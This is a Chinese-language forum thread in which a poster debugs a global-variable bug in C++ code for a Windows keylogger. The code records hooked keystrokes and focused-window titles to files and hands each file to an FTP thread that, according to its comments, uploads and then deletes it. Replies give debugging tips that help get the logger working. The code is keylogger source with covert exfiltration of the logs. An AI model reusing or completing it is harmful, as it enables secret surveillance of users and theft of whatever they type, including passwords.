我定义了一个全局变量,然后一个类的1个函数调用并修改这个全局变量,我用Messagebox在线程里显示这个全局变量,但是这个全局变量的值依旧是定义时的那个值。这是为什么。

解决方案 »

  1.   

    //FullRecorderFileName全局变量
    static unsigned __stdcall RecordCnKey(void *param)
    { MSG msg;
    PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
    while(true)
    { if(GetMessage(&msg,0,0,0)) //get msg from message queue
    { switch(msg.message)
    {
    case WM_KEYHOOK_CN:
    PRecordInfo pInfo = (PRecordInfo)msg.wParam;
    //此处判断若窗口已改变,则将上一窗口记录的文件名发送到FTP线程,由FTP线程负责上传及删除,
    //发送完毕后,此处重新生成新窗口的记录文件名,将窗口名称及记录信息写入到新窗口文件中。
    //若窗口未改变,则直接在原窗口文件后面追加记录信息
    if(g_hLastFocus!=pInfo->hFocus)
    {
    // MessageBox(0,FullRecorderFileName,"121",0);
    if(!FullRecorderFileName.IsEmpty())
    {
    MessageBox(0,FullRecorderFileName,"111",0);
    char * tmpFilename =new char[MAX_PATH];
    memset(tmpFilename,0,MAX_PATH);
    memcpy(tmpFilename,FullRecorderFileName,FullRecorderFileName.GetLength());

    if(!PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0))//post thread msg
    {
    PostThreadMessage(nFTPthreadID,WM_FTP,(WPARAM)tmpFilename,0);
    }
    } //if(!FileQueue.empty())
    //{
    // SetEvent(FtpEvent);
    //}
    //else
    //{
    // MessageBox(NULL,"队列为空","111",0);
    //} CreateRecordFileName();//改变FullRecorderFileName的值
    char svTitle[256]; 
    int nCount; 
    nCount=GetWindowText(pInfo->hFocus,svTitle,256); 
    if(nCount>0)

    CString tmpstr;
    tmpstr.Format("[%s]\r\n",svTitle);
    WriteStr(tmpstr);

    g_hLastFocus=pInfo->hFocus; 
    }
    WriteStr(pInfo->lpstr);
    delete pInfo;
    break;
    }
    }
    };
    return 0;
    }
      

  2.   

    比如我第一次打开一个窗口文件(比如记事本),我写了东西,然后我又打开了个WORD,此时应该FullRecorderFileName有值了,就是第一次保存的一个文本的名字(比如***.txt),然后我就会 通过 
    if(!FullRecorderFileName.IsEmpty())这句话,把消息传到某个地方去,但是  FullRecorderFileName一直为空(我初始化的是空)
      

  3.   

    MSG msg;
        PeekMessage(&msg, NULL, WM_KEYHOOK_CN, WM_KEYHOOK_CN, PM_NOREMOVE);
    创建消息队列, 好像不需要指定何种消息
    其他线程对你的子线程senmesage,postemsage
      

  4.   

    跟不进去,就加日志一定可以找到死在什么地方?比如控制台程序,可以再关键代码前、后用printf打印运行到了哪一句
    你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码
      

  5.   

    跟不进去,就加日志一定可以找到死在什么地方?比如控制台程序,可以再关键代码前、后用printf打印运行到了哪一句
    你完全可以用 fopen, fwrite,等文件函数打印在一个 文本文件里,查看死在什么哪一句代码